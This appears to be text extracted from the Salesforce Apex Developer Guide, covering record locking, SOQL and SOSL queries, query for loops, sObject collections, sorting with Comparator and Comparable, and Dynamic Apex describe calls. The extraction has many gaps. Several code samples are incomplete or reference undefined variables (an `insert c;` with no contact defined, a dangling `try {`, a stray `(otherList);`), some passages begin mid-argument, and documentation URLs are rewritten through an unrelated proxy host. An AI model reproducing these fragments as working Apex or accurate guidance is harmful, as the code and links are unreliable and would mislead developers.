is logged in the debug log and the logged message includes the most recently locked entity type. For example:
FOR_UPDATE_LOCKS_RELEASE FOR UPDATE locks released due to a callout. The most recent
lock was Account. Use caution while making callouts in contexts where FOR UPDATE queries could have been previously
executed.
• When you perform a DML operation on one record, related records are locked in addition to the record in question.
Warning: Use care when setting locks in your Apex code. See Avoiding Deadlocks.
As discussed in SOQL For Loops, the example above corresponds internally to calls to the query() and queryMore() methods
in the SOAP API.
Note that there is no commit statement. If your Apex trigger completes successfully, any database changes are automatically committed.
If your Apex trigger does not complete successfully, any changes made to the database are rolled back.
163
Apex Developer Guide Working with Data in Apex
Avoiding Deadlocks
Apex has the possibility of deadlocks, as does any other procedural logic language involving updates to multiple database tables or
rows. To avoid such deadlocks, the Apex runtime engine:
1. First locks sObject parent records, then children.
2. Locks sObject records in order of ID when multiple records of the same type are being edited.
As a developer, use care when locking rows to ensure that you are not introducing deadlocks. Verify that you are using standard deadlock
avoidance techniques by accessing tables and rows in the same order from all locations in an application.
SOQL Statements
SOQL statements evaluate to a list of sObjects, a single sObject, or an Integer for count method queries.
For example, you could retrieve a list of accounts that are named Acme:
List<Account> aa = [SELECT Id, Name FROM Account WHERE Name = 'Acme'];
You can also create new objects from SOQL queries on existing ones. This example creates a new contact for the first account with the
number of employees greater than 10.
Contact c = new Contact(Account = [SELECT Name FROM Account
WHERE NumberOfEmployees > 10 LIMIT 1]);
c.FirstName = 'James';
c.LastName = 'Yoyce';
The newly created object contains null values for its fields, which must be set.
The count method can be used to return the number of rows returned by a query. The following example returns the total number
of contacts with the last name of Weissman:
Integer i = [SELECT COUNT() FROM Contact WHERE LastName = 'Weissman'];
SOQL limits apply when executing SOQL queries. See Execution Governors and Limits.
For a full description of SOQL query syntax, see the Salesforce SOQL and SOSL Reference Guide.
SOSL Statements
SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type. The result
lists are always returned in the same order as they were specified in the SOSL query. If a SOSL query doesn’t return any records for a
specified sObject type, the search results include an empty list for that sObject.
164
Apex Developer Guide Working with Data in Apex
For example, you can return a list of accounts, contacts, opportunities, and leads that begin with the phrase map:
List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name),
Contact, Opportunity, Lead];
Note: The syntax of the FIND clause in Apex differs from the syntax of the FIND clause in SOAP API and REST API:
• In Apex, the value of the FIND clause is demarcated with single quotes. For example:
FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead
Note: Apex that is running in system mode ignores field-level security while scanning for a match using IN ALL
FIELDS.
• In the API, the value of the FIND clause is demarcated with braces. For example:
FIND {map*} IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead
From searchList, you can create arrays for each object returned:
Account [] accounts = ((List<Account>)searchList[0]);
Contact [] contacts = ((List<Contact>)searchList[1]);
Opportunity [] opportunities = ((List<Opportunity>)searchList[2]);
Lead [] leads = ((List<Lead>)searchList[3]);
SOSL limits apply when executing SOSL queries. See Execution Governors and Limits.
Note: The 4,000 characters limit for WHERE clause strings doesn’t apply to SOQL queries in Apex if the WHERE clause includes
the IN operator.
For a full description of SOSL query syntax, see the Salesforce SOQL and SOSL Reference Guide.
165
Apex Developer Guide Working with Data in Apex
The following is the same code example rewritten so it does not produce a runtime error. Note that Name has been added as part of
the select statement, after Id.
insert new Account(Name = 'Singha');
Account acc = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1];
// Note that name is now selected
String name = [SELECT Id, Name FROM Account WHERE Name = 'Singha' LIMIT 1].Name;
Even if only one sObject field is selected, a SOQL or SOSL query always returns data as complete records. Consequently, you must
dereference the field in order to access it. For example, this code retrieves an sObject list from the database with a SOQL query, accesses
the first account record in the list, and then dereferences the record's AnnualRevenue field:
Double rev = [SELECT AnnualRevenue FROM Account
WHERE Name = 'Acme'][0].AnnualRevenue;
The only situation in which it is not necessary to dereference an sObject field in the result of an SOQL query, is when the query returns
an Integer as the result of a COUNT operation:
Integer i = [SELECT COUNT() FROM Account];
166
Apex Developer Guide Working with Data in Apex
Note: To provide the most complete example, this code uses some elements that are described later in this guide:
• For information on insert and update, see Insert Statement and Update Statement.
Note: The expression c.Account.Name, and any other expression that traverses a relationship, displays slightly different
characteristics when it is read as a value than when it is modified:
• When being read as a value, if c.Account is null, then c.Account.Name evaluates to null, but does not yield a
NullPointerException. This design allows developers to navigate multiple relationships without the tedium of having
to check for null values.
• When being modified, if c.Account is null, then c.Account.Name does yield a NullPointerException.
In SOSL, you would access data for the inserted contact in a similar way to the SELECT statement used in the previous SOQL example.
List<List<SObject>> searchList = [FIND 'Acme' IN ALL FIELDS RETURNING
Contact(id,Account.Name)]
In addition, the sObject field key can be used with insert, update, or upsert to resolve foreign keys by external ID. For example:
Account refAcct = new Account(externalId__c = '12345');
insert c;
This inserts a new contact with the AccountId equal to the account with the external_id equal to ‘12345’. If there is no such
account, the insert fails.
Tip: The following code is equivalent to the code above. However, because it uses a SOQL query, it is not as efficient. If this code
was called multiple times, it could reach the execution limit for the maximum number of SOQL queries. For more information on
execution limits, see Execution Governors and Limits on page 322.
Account refAcct = [SELECT Id FROM Account WHERE externalId__c='12345'];
167
Apex Developer Guide Working with Data in Apex
insert c;
Additionally, parent-child relationships in sObjects act as SOQL queries as well. For example:
for (Account a : [SELECT Id, Name, (SELECT LastName FROM Contacts)
FROM Account
WHERE Name = 'Acme']) {
Contact[] cons = a.Contacts;
}
Note that any query that includes an aggregate function returns its results in an array of AggregateResult objects. AggregateResult is a
read-only sObject and is only used for query results.
Aggregate functions become a more powerful tool to generate reports when you use them with a GROUP BY clause. For example,
you could find the average Amount for all your opportunities by campaign.
AggregateResult[] groupedResults
= [SELECT CampaignId, AVG(Amount)
FROM Opportunity
GROUP BY CampaignId];
for (AggregateResult ar : groupedResults) {
System.debug('Campaign ID' + ar.get('CampaignId'));
System.debug('Average amount' + ar.get('expr0'));
}
168
Apex Developer Guide Working with Data in Apex
Any aggregated field in a SELECT list that does not have an alias automatically gets an implied alias with a format expri, where i
denotes the order of the aggregated fields with no explicit aliases. The value of i starts at 0 and increments for every aggregated field
with no explicit alias. For more information, see Using Aliases with GROUP BY in the Salesforce SOQL and SOSL Reference Guide.
Note: Queries that include aggregate functions are still subject to the limit on total number of query rows. All aggregate functions
other than COUNT() or COUNT(fieldname) include each row used by the aggregation as a query row for the purposes
of limit tracking.
For COUNT() or COUNT(fieldname) queries, limits are counted as one query row, unless the query contains a GROUP BY
clause, in which case one query row per grouping is consumed.
For information about the limits that apply to queries with for loop, see SOQL For Loops on page 176.
Instead, use a SOQL query for loop as in one of the following examples:
// Use this format if you are not executing DML statements
// within the for loop
for (Account a : [SELECT Id, Name FROM Account
WHERE Name LIKE 'Acme%']) {
// Your code without DML statements here
}
// Use this format for efficiency if you are executing DML statements
// within the for loop
for (List<Account> accts : [SELECT Id, Name FROM Account
WHERE Name LIKE 'Acme%']) {
for (Account a : accts) {
// Your code here
}
update accts;
}
Note: Using the SOQL query within the for loop reduces the possibility of reaching the limit on heap size. However, this approach
can result in more CPU cycles being used with increased DML calls. For more information, see SOQL For Loops Versus Standard
SOQL Queries.
The following example demonstrates a SOQL query for loop that’s used to mass update records. Suppose that you want to change
the last name of a contact in records for contacts whose first and last names match specified criteria:
public void massUpdate() {
for (List<Contact> contacts:
[SELECT FirstName, LastName FROM Contact]) {
for(Contact c : contacts) {
if (c.FirstName == 'Barbara' &&
169
Apex Developer Guide Working with Data in Apex
c.LastName == 'Gordon') {
c.LastName = 'Wayne';
}
}
update contacts;
}
}
Instead of using a SOQL query in a for loop, the preferred method of mass updating records is to use batch Apex, which minimizes
the risk of hitting governor limits.
For more information, see SOQL For Loops on page 176.
• Fields not indexed by default are automatically indexed when the Salesforce optimizer recognizes that an index can improve
performance for frequently run queries.
• Salesforce Support can add custom indexes on request for customers.
• A custom index can't be created on these types of fields: multi-select picklists, currency fields in a multicurrency organization,
long text fields, some formula fields, and binary fields (fields of type blob, file, or encrypted text.) New data types, typically complex
ones, are periodically added to Salesforce, and fields of these types don’t always allow custom indexing.
• You can’t create custom indexes on formula fields that include invocations of the TEXT function on picklist fields.
• Typically, a custom index isn’t used in these cases.
– The queried values exceed the system-defined threshold.
– The filter operator is a negative operator such as NOT EQUAL TO (or !=), NOT CONTAINS, and NOT STARTS
WITH.
– The CONTAINS operator is used in the filter, and the number of rows to be scanned exceeds 333,333. The CONTAINS
operator requires a full scan of the index. This threshold is subject to change.
– You’re comparing with an empty value (Name != '').
However, there are other complex scenarios in which custom indexes can’t be used. Contact your Salesforce representative if
your scenario isn't covered by these cases or if you need further assistance with non-selective queries.
170
Apex Developer Guide Working with Data in Apex
The WHERE clause is on an indexed field (Id). If SELECT COUNT() FROM Account WHERE Id IN (<list of
account IDs>) returns fewer records than the selectivity threshold, the index on Id is used. This index is typically used when
the list of IDs contains only a few records.
Query 2:
SELECT Id FROM Account WHERE Name != ''
Since Account is a large object even though Name is indexed (primary key), this filter returns most of the records, making the query
non-selective.
Query 3:
SELECT Id FROM Account WHERE Name != '' AND CustomField__c = 'ValueA'
Here we have to see if any filter, when considered individually, is selective. As we saw in the previous example, the first filter isn't
selective. So let's focus on the second one. If the count of records returned by SELECT COUNT() FROM Account WHERE
CustomField__c = 'ValueA' is lower than the selectivity threshold, and CustomField__c is indexed, the query is selective.
// These lines of code are only valid if one row is returned from
// the query. Notice that the second line dereferences the field from the
// query without assigning it to an intermediary sObject variable.
Account acct = [SELECT Id FROM Account];
String name = [SELECT Name FROM Account].Name;
This usage is supported with the following Apex types, methods, or operators:
• Database.query method.
• Safe Navigation Operator. See Safe Navigation Operator.
• Null Coalescing Operator. See Null Coalescing Operator.
• Map.values.
Warning: Although currently supported, Salesforce recommends against using this feature with Map.values.
171
Apex Developer Guide Working with Data in Apex
/* getThreadTags
*
* a quick method to pull tags not in the existing list
*
*/
public static webservice List<String>
getThreadTags(String threadId, List<String> tags) {
system.debug(LoggingLevel.Debug,tags);
for(CSO_CaseThread_Tag__c t :
[SELECT Name FROM CSO_CaseThread_Tag__c
WHERE Thread__c = :threadId AND
Thread__c != null])
{
tagSet.add(t.Name);
}
for(String x : origTagSet) {
// return a minus version of it so the UI knows to clear it
if(!tagSet.contains(x)) retVals.add('-' + x);
}
for(String x : tagSet) {
// return a plus version so the UI knows it's new
if(!origTagSet.contains(x)) retvals.add('+' + x);
}
return retVals;
}
}
172
Apex Developer Guide Working with Data in Apex
You can use SOQL queries that reference polymorphic fields in Apex to get results that depend on the object type referenced by the
polymorphic field. One approach is to filter your results using the Type qualifier. This example queries Events that are related to an
Account or Opportunity via the What field.
List<Event> events = [SELECT Description FROM Event WHERE What.Type IN ('Account',
'Opportunity')];
Another approach would be to use the TYPEOF clause in the SOQL SELECT statement. This example also queries Events that are
related to an Account or Opportunity via the What field.
List<Event> events = [SELECT TYPEOF What WHEN Account THEN Phone WHEN Opportunity THEN
Amount END FROM Event];
These queries return a list of sObjects where the relationship field references the desired object types.
If you need to access the referenced object in a polymorphic relationship, you can use the instanceof keyword to determine the object
type. The following example uses instanceof to determine whether an Account or Opportunity is related to an Event.
Event myEvent = eventFromQuery;
if (myEvent.What instanceof Account) {
// myEvent.What references an Account, so process accordingly
} else if (myEvent.What instanceof Opportunity) {
// myEvent.What references an Opportunity, so process accordingly
}
Note that you must assign the referenced sObject that the query returns to a variable of the appropriate type before you can pass it to
another method. The following example
1. Queries for User or Group owners of Merchandise__c custom objects using a SOQL query with a TYPEOF clause
2. Uses instanceof to determine the owner type
3. Assigns the owner objects to User or Group type variables before passing them to utility methods
public class PolymorphismExampleClass {
173
Apex Developer Guide Working with Data in Apex
// A simple bind
B = [SELECT Id FROM Account WHERE Id = :A.Id];
String s = 'XXX';
174
Apex Developer Guide Working with Data in Apex
// A limit bind
Integer i = 1;
B = [SELECT Id FROM Account LIMIT :i];
// An OFFSET bind
Integer offsetVal = 10;
List<Account> offsetList = [SELECT Id FROM Account OFFSET :offsetVal];
Note: Apex bind variables aren’t supported for the units parameter in the DISTANCE function. This query doesn’t work.
175
Apex Developer Guide Working with Data in Apex
FROM Account
WHERE DISTANCE(My_Location_Field__c, GEOLOCATION(10,10), :units) < 10];
You can use ALL ROWS to query records in your organization's Recycle Bin. You cannot use the ALL ROWS keywords with the FOR
UPDATE keywords.
or
Both variable and variable_list must be of the same type as the sObjects that are returned by the soql_query.
As in standard SOQL queries, the [soql_query] statement can refer to code expressions in their WHERE clauses using the :
syntax. For example:
String s = 'Acme';
for (Account a : [SELECT Id, Name from Account
where Name LIKE :(s+'%')]) {
// Your code
}
The following example combines creating a list from a SOQL query, with the DML update method.
// Create a list of account records from a SOQL query
List<Account> accs = [SELECT Id, Name FROM Account WHERE Name = 'Siebel'];
176
Apex Developer Guide Working with Data in Apex
// The single sObject format executes the for loop once per returned record
Integer i = 0;
for (Account tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) {
i++;
}
System.assert(i == 3); // Since there were three accounts named 'yyy' in the
// database, the loop executed three times
// The sObject list format executes the for loop once per returned batch
// of records
i = 0;
Integer j;
for (Account[] tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) {
j = tmp.size();
i++;
}
System.assert(j == 3); // The lt should have contained the three accounts
// named 'yyy'
System.assert(i == 1); // Since a single batch can hold up to 200 records and,
// only three records should have been returned, the
// loop should have executed only once
177
Apex Developer Guide Working with Data in Apex
Note:
• The break and continue keywords can be used in both types of inline query for loop formats. When using the sObject
list format, continue skips to the next list of sObjects.
• DML statements can only process up to 10,000 records at a time, and sObject list for loops process records in batches of
200. Consequently, if you’re inserting, updating, or deleting more than one record per returned record in an sObject list for
loop, it’s possible to encounter runtime limit’s errors. See Execution Governors and Limits.
• You may get a QueryException in a SOQL for loop with the message Aggregate query has too many
rows for direct assignment, use FOR loop. This exception is sometimes thrown when accessing a large
set of child records (200 or more) of a retrieved sObject inside the loop, or when getting the size of such a record set. For
example, the query in the following SOQL for loop retrieves child contacts for a particular account. If this account contains
more than 200 child contacts, the statements in the for loop cause an exception.
for (Account acct : [SELECT Id, Name, (SELECT Id, Name FROM Contacts)
FROM Account WHERE Id IN ('<ID value>')]) {
List<Contact> contactList = acct.Contacts; // Causes an error
Integer count = acct.Contacts.size(); // Causes an error
}
To avoid getting this exception, use a for loop to iterate over the child records, as follows.
for (Account acct : [SELECT Id, Name, (SELECT Id, Name FROM Contacts)
FROM Account WHERE Id IN ('<ID value>')]) {
Integer count=0;
for (Contact c : acct.Contacts) {
count++;
}
}
sObject Collections
You can manage sObjects in lists, sets, and maps.
Lists of sObjects
Lists can contain sObjects among other types of elements. Lists of sObjects can be used for bulk processing of data.
Sorting Lists of sObjects
Using the List.sort method, you can sort lists of sObjects.
Expanding sObject and List Expressions
Sets of Objects
Sets can contain sObjects among other types of elements.
Maps of sObjects
Map keys and values can be of any data type, including sObject types, such as Account.
178
Apex Developer Guide Working with Data in Apex
Lists of sObjects
Lists can contain sObjects among other types of elements. Lists of sObjects can be used for bulk processing of data.
You can use a list to store sObjects. Lists are useful when working with SOQL queries. SOQL queries return sObject data and this data
can be stored in a list of sObjects. Also, you can use lists to perform bulk operations, such as inserting a list of sObjects with one call.
To declare a list of sObjects, use the List keyword followed by the sObject type within <> characters. For example:
// Create an empty list of Accounts
List<Account> myList = new List<Account>();
Bulk Processing
You can bulk-process a list of sObjects by passing a list to the DML operation. This example shows how you can insert a list of accounts.
// Define the list
List<Account> acctList = new List<Account>();
// Create account sObjects
Account a1 = new Account(Name='Account1');
Account a2 = new Account(Name='Account2');
// Add accounts to the list
acctList.add(a1);
acctList.add(a2);
// Bulk insert the list
insert acctList;
Note: If you perform a bulk insert of Knowledge article versions, make the ownerId of all records the same.
179
Apex Developer Guide Working with Data in Apex
Record ID Generation
Apex automatically generates IDs for each object in an sObject list that was inserted or upserted using DML. Therefore, a list that contains
more than one instance of an sObject cannot be inserted or upserted even if it has a null ID. This situation would imply that two IDs
would need to be written to the same structure in memory, which is illegal.
For example, the insert statement in the following block of code generates a ListException because it tries to insert a list
with two references to the same sObject (a):
try {
These examples also use the array notation with sObject lists.
Example Description
Defines an Account list with no elements.
List<Account> accts = new Account[]{};
(otherList);
180
Apex Developer Guide Working with Data in Apex
3. Standard fields, starting with the fields that come first in alphabetical order, except for the Id and Name fields.
For example, if two accounts have the same name, the first standard field used for sorting is AccountNumber.
4. Custom fields, starting with the fields that come first in alphabetical order.
For example, suppose two accounts have the same name and identical standard fields, and there are two custom fields, FieldA and
FieldB, the value of FieldA is used first for sorting.
Not all steps in this sequence are necessarily carried out. For example, a list containing two sObjects of the same type and with unique
Name values is sorted based on the Name field and sorting stops at step 2. Otherwise, if the names are identical or the sObject doesn’t
have a Name field, sorting proceeds to step 3 to sort by standard fields.
For text fields, the sort algorithm uses the Unicode sort order. Also, empty fields precede non-empty fields in the sort order.
Here’s an example of sorting a list of Account sObjects. This example shows how the Name field is used to place the Acme account
ahead of the two sForce accounts in the list. Since there are two accounts named sForce, the Industry field is used to sort these remaining
accounts because the Industry field comes before the Site field in alphabetical order.
Account[] acctList = new List<Account>();
acctList.add( new Account(
Name='sForce',
Industry='Biotechnology',
Site='Austin'));
acctList.add(new Account(
Name='sForce',
Industry='Agriculture',
Site='New York'));
acctList.add(new Account(
Name='Acme'));
System.debug(acctList);
acctList.sort();
Assert.areEqual('Acme', acctList[0].Name);
Assert.areEqual('sForce', acctList[1].Name);
181
Apex Developer Guide Working with Data in Apex
Assert.areEqual('Agriculture', acctList[1].Industry);
Assert.areEqual('sForce', acctList[2].Name);
Assert.areEqual('Biotechnology', acctList[2].Industry);
System.debug(acctList);
This example is similar to the previous one, except that it uses the Merchandise__c custom object. This example shows how the Name
field is used to place the Notebooks merchandise ahead of Pens in the list. Because there are two merchandise sObjects with the Name
field value of Pens, the Description field is used to sort these remaining merchandise items. The Description field is used for sorting
because it comes before the Price and Total_Inventory fields in alphabetical order.
Merchandise__c[] merchList = new List<Merchandise__c>();
merchList.add( new Merchandise__c(
Name='Pens',
Description__c='Red pens',
Price__c=2,
Total_Inventory__c=1000));
merchList.add( new Merchandise__c(
Name='Notebooks',
Description__c='Cool notebooks',
Price__c=3.50,
Total_Inventory__c=2000));
merchList.add( new Merchandise__c(
Name='Pens',
Description__c='Blue pens',
Price__c=1.75,
Total_Inventory__c=800));
System.debug(merchList);
merchList.sort();
Assert.areEqual('Notebooks', merchList[0].Name);
Assert.areEqual('Pens', merchList[1].Name);
Assert.areEqual('Blue pens', merchList[1].Description__c);
Assert.areEqual('Pens', merchList[2].Name);
Assert.areEqual('Red pens', merchList[2].Description__c);
System.debug(merchList);
Example: This example implements the Comparator interface to compare two opportunities based on the Amount field.
public class OpportunityComparator implements Comparator<Opportunity> {
public Integer compare(Opportunity o1, Opportunity o2) {
// The return value of 0 indicates that both elements are equal.
Integer returnValue = 0;
182
Apex Developer Guide Working with Data in Apex
returnValue = -1;
} else if(o2 == null) {
// nulls-first implementation
returnValue = 1;
} else if ((o1.Amount == null) && (o2.Amount == null)) {
// both have null Amounts
returnValue = 0;
} else if (o1.Amount == null){
// nulls-first implementation
returnValue = -1;
} else if (o2.Amount == null){
// nulls-first implementation
returnValue = 1;
} else if (o1.Amount < o2.Amount) {
// Set return value to a negative value.
returnValue = -1;
} else if (o1.Amount > o2.Amount) {
// Set return value to a positive value.
returnValue = 1;
}
return returnValue;
}
}
This test sorts a list of Comparator objects and verifies that the list elements are sorted by the opportunity amount.
@isTest
private class OpportunityComparator_Test {
@isTest
static void sortViaComparator() {
// Add the opportunity wrapper objects to a list.
List<Opportunity> oppyList = new List<Opportunity>();
Date closeDate = Date.today().addDays(10);
oppyList.add( new Opportunity(
Name='Edge Installation',
CloseDate=closeDate,
StageName='Prospecting',
Amount=50000));
oppyList.add( new Opportunity(
Name='United Oil Installations',
CloseDate=closeDate,
StageName='Needs Analysis',
Amount=100000));
oppyList.add( new Opportunity(
Name='Grand Hotels SLA',
CloseDate=closeDate,
StageName='Prospecting',
Amount=25000));
oppyList.add(null);
183
Apex Developer Guide Working with Data in Apex
Example: This example shows how to create a wrapper Comparable class for Opportunity. The implementation of the
compareTo method in this class compares two opportunities based on the Amount field—the class member variable contained
in this instance, and the opportunity object passed into the method.
public class OpportunityWrapper implements Comparable {
// Constructor
public OpportunityWrapper(Opportunity op) {
// Guard against wrapping a null
if(op == null) {
Exception ex = new NullPointerException();
ex.setMessage('Opportunity argument cannot be null');
throw ex;
}
oppy = op;
}
184
Apex Developer Guide Working with Data in Apex
}
}
This test sorts a list of OpportunityWrapper objects and verifies that the list elements are sorted by the opportunity amount.
@isTest
private class OpportunityWrapperTest {
static testmethod void test1() {
// Add the opportunity wrapper objects to a list.
OpportunityWrapper[] oppyList = new List<OpportunityWrapper>();
Date closeDate = Date.today().addDays(10);
oppyList.add( new OpportunityWrapper(new Opportunity(
Name='Edge Installation',
CloseDate=closeDate,
StageName='Prospecting',
Amount=50000)));
oppyList.add( new OpportunityWrapper(new Opportunity(
Name='United Oil Installations',
CloseDate=closeDate,
StageName='Needs Analysis',
Amount=100000)));
oppyList.add( new OpportunityWrapper(new Opportunity(
Name='Grand Hotels SLA',
CloseDate=closeDate,
StageName='Prospecting',
Amount=25000)));
SEE ALSO:
Apex Reference Guide: Collator Class
Apex Reference Guide: Comparable Interface
Apex Reference Guide: Comparator Interface
185
Apex Developer Guide Working with Data in Apex
In the following example, a new variable containing the length of the new account name is assigned to acctNameLength.
Integer acctNameLength = new Account[]{new Account(Name='Acme')}[0].Name.length();
Sets of Objects
Sets can contain sObjects among other types of elements.
Sets contain unique elements. Uniqueness of sObjects is determined by comparing the objects’ fields. For example, if you try to add two
accounts with the same name to a set, with no other fields set, only one sObject is added to the set.
// Create two accounts, a1 and a2
Account a1 = new account(name='MyAccount');
Account a2 = new account(name='MyAccount');
If you add a description to one of the accounts, it is considered unique and both accounts are added to the set.
// Create two accounts, a1 and a2, and add a description to a2
Account a1 = new account(name='MyAccount');
Account a2 = new account(name='MyAccount', description='My test account');
Warning: If set elements are objects, and these objects change after being added to the collection, they won’t be found anymore
when using, for example, the contains or containsAll methods, because of changed field values.
Maps of sObjects
Map keys and values can be of any data type, including sObject types, such as Account.
186
Apex Developer Guide Working with Data in Apex
Maps can hold sObjects both in their keys and values. A map key represents a unique value that maps to a map value. For example, a
common key would be an ID that maps to an account (a specific sObject type). This example shows how to define a map whose keys
are of type ID and whose values are of type Account.
Map<ID, Account> m = new Map<ID, Account>();
As with primitive types, you can populate map key-value pairs when the map is declared by using curly brace ({}) syntax. Within the
curly braces, specify the key first, then specify the value for that key using =>. This example creates a map of integers to accounts lists
and adds one entry using the account list created earlier.
Account[] accs = new Account[5]; // Account[] is synonymous with List<Account>
Map<Integer, List<Account>> m4 = new Map<Integer, List<Account>>{1 => accs};
Maps allow sObjects in their keys. You must use sObjects in the keys only when the sObject field values won’t change.
One common usage of this map type is for in-memory “joins” between two tables.
Note: RecentlyViewed records for users who are members of several communities can’t be retrieved automatically into a map
via Apex. This is because records of a user with different networks can result in duplicate IDs that maps don’t support. For more
information, see RecentlyViewed.
187
Apex Developer Guide Working with Data in Apex
// Insert a1.
// This causes the ID field on a1 to be auto-filled
insert a1;
// Id field is now populated.
System.assertNotEquals(null, a1.Id);
Another scenario where sObject fields are autofilled is in triggers, for example, when using before and after insert triggers for an sObject.
If those triggers share a static map defined in a class, and the sObjects in Trigger.New are added to this map in the before trigger,
the sObjects in Trigger.New in the after trigger aren’t found in the map because the two sets of sObjects differ by the fields that
are autofilled. The sObjects in Trigger.New in the after trigger have system fields populated after insertion, namely: ID, CreatedDate,
CreatedById, LastModifiedDate, LastModifiedById, and SystemModStamp.
Dynamic Apex
Dynamic Apex enables developers to create more flexible applications by providing them with the ability to:
• Access sObject and field describe information
Describe information provides metadata information about sObject and field properties. For example, the describe information for
an sObject includes whether that type of sObject supports operations like create or undelete, the sObject's name and label, the
sObject's fields and child objects, and so on. The describe information for a field includes whether the field has a default value,
whether it is a calculated field, the type of the field, and so on.
Note that describe information provides information about objects in an organization, not individual records.
188
Apex Developer Guide Working with Data in Apex
You can obtain describe information for standard and custom apps available in the Salesforce user interface. Each app corresponds
to a collection of tabs. Describe information for an app includes the app’s label, namespace, and tabs. Describe information for a tab
includes the sObject associated with the tab, tab icons and colors.
• Write dynamic SOQL queries, dynamic SOSL queries and dynamic DML
Dynamic SOQL and SOSL queries provide the ability to execute SOQL or SOSL as a string at runtime, while dynamic DML provides the
ability to create a record dynamically and then insert it into the database using DML. Using dynamic SOQL, SOSL, and DML, an
application can be tailored precisely to the organization as well as the user's permissions. This can be useful for applications that are
installed from AppExchange.
189
Apex Developer Guide Working with Data in Apex
The following code provides a general example of how to use tokens and describe results to access information about sObject and field
properties:
// Create a new account as the generic type sObject
sObject s = new Account();
// Get the field describe result for the Name field on the Account object
Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.Name;
// Verify that the field token is the token for the Name field on an Account object
System.assert(dfr.getSObjectField() == Account.Name);
The following algorithm shows how you can work with describe information in Apex:
1. Generate a list or map of tokens for the sObjects in your organization (see Accessing All sObjects.)
2. Determine the sObject you need to access.
3. Generate the describe result for the sObject.
4. If necessary, generate a map of field tokens for the sObject (see Accessing All Field Describe Results for an sObject.)
5. Generate the describe result for the field the code needs to access.
This example can be used to determine whether an sObject or a list of sObjects is of a particular type:
// Create a generic sObject variable s
SObject s = Database.query('SELECT Id FROM Account LIMIT 1');
190
Apex Developer Guide Working with Data in Apex
Some standard sObjects have a field called sObjectType, for example, AssignmentRule, QueueSObject, and RecordType. For these
types of sObjects, always use the getSObjectType method for retrieving the token. If you use the property, for example,
RecordType.sObjectType, the field is returned.
The following example uses the Schema sObjectType static member variable:
Schema.DescribeSObjectResult dsr = Schema.SObjectType.Account;
For more information about the methods available with the sObject describe result, see DescribeSObjectResultClass.
SEE ALSO:
DescribeSObjectResult.fields()
DescribeSObjectResult.fieldsets()
In the following example, the field token is returned from the field describe result:
// Get the describe result for the Name field on the Account object
Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.Name;
// Verify that the field token is the token for the Name field on an Account object
System.assert(dfr.getSObjectField() == Account.Name);
191
Apex Developer Guide Working with Data in Apex
Note: Field tokens aren't available for person accounts. If you access Schema.Account.fieldname, you get an exception
error. Instead, specify the field name as a string.
In the example above, the system uses special parsing to validate that the final member variable (Name) is valid for the specified sObject
at compile time. When the parser finds the fields member variable, it looks backwards to find the name of the sObject (Account).
It validates that the field name following the fields member variable is legitimate. The fields member variable only works when
used in this manner.
Note: Don’t use the fields member variable without also using either a field member variable name or the getMap method.
For more information on getMap, see the next section.
For more information about the methods available with a field describe result, see DescribeFieldResultClass.
Note: The value type of this map is not a field describe result. Using the describe results would take too many system resources.
Instead, it is a map of tokens that you can use to find the appropriate field. After you determine the field, generate the describe
result for it.
The map has the following characteristics:
• It is dynamic, that is, it is generated at runtime on the fields for that sObject.
• All field names are case insensitive.
• The keys use namespaces as required.
• The keys reflect whether the field is a custom object.
192
Apex Developer Guide Working with Data in Apex
SEE ALSO:
DescribeSObjectResult.fields()
DescribeSObjectResult.fieldsets()
SEE ALSO:
Anonymous Blocks
What is a Package?
193
Apex Developer Guide Working with Data in Apex
SEE ALSO:
DescribeSObjectResult.fields()
DescribeSObjectResult.fieldsets()
// Iterate through each tab set describe for each app and display the info
for(DescribeTabSetResult tsr : tabSetDesc) {
String appLabel = tsr.getLabel();
System.debug('Label: ' + appLabel);
System.debug('Logo URL: ' + tsr.getLogoUrl());
System.debug('isSelected: ' + tsr.isSelected());
String ns = tsr.getNamespace();
if (ns == '') {
System.debug('The ' + appLabel + ' app has no namespace defined.');
}
else {
System.debug('Namespace: ' + ns);
}
194
Apex Developer Guide Working with Data in Apex
// Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme2;])
// DEBUG|getIconUrl: https://MyDomainName.my.salesforce.com/img/icon/accounts32.png
// DEBUG|getIcons:
(Schema.DescribeIconResult[getContentType=image/png;getHeight=32;getTheme=theme3;
//
getUrl=https://MyDomainName.my.salesforce.com/img/icon/accounts32.png;getWidth=32;],
// Schema.DescribeIconResult[getContentType=image/png;getHeight=16;getTheme=theme3;
//
getUrl=https://MyDomainName.my.salesforce.com/img/icon/accounts16.png;getWidth=16;])
// DEBUG|getMiniIconUrl: https://MyDomainName.my.salesforce.com/img/icon/accounts16.png
// DEBUG|getSobjectName: Account
// DEBUG|getUrl: https://MyDomainName.my.salesforce.com/001/o
// DEBUG|isCustom: false
195
Apex Developer Guide Working with Data in Apex
returned is NS1__MyObject__c. For Apex saved using earlier API versions, the key contains the namespace only if the namespace
of the code block and the namespace of the sObject are different. For example, if the code block that generates the map is in namespace
N1, and an sObject is also in N1, the key in the map is represented as MyObject__c. However, if the code block is in namespace N1,
and the sObject is in namespace N2, the key is N2__MyObject__c.
Standard sObjects have no namespace prefix.
Note: If the getGlobalDescribe method is called from an installed managed package, it returns sObject names and tokens
for Chatter sObjects, such as NewsFeed and UserProfileFeed, even if Chatter is not enabled in the installing organization. This is
not true if the getGlobalDescribe method is called from a class not within an installed managed package.
List<DescribeDataCategoryGroupResult> describeCategoryResult;
try {
//Creating the list of sobjects to use for the describe
//call
List<String> objType = new List<String>();
objType.add('KnowledgeArticleVersion');
objType.add('Question');
196
Apex Developer Guide Working with Data in Apex
//Describe Call
describeCategoryResult = Schema.describeDataCategoryGroups(objType);
//Getting description
singleResult.getDescription();
return describeCategoryResult;
}
}
197
Apex Developer Guide Working with Data in Apex
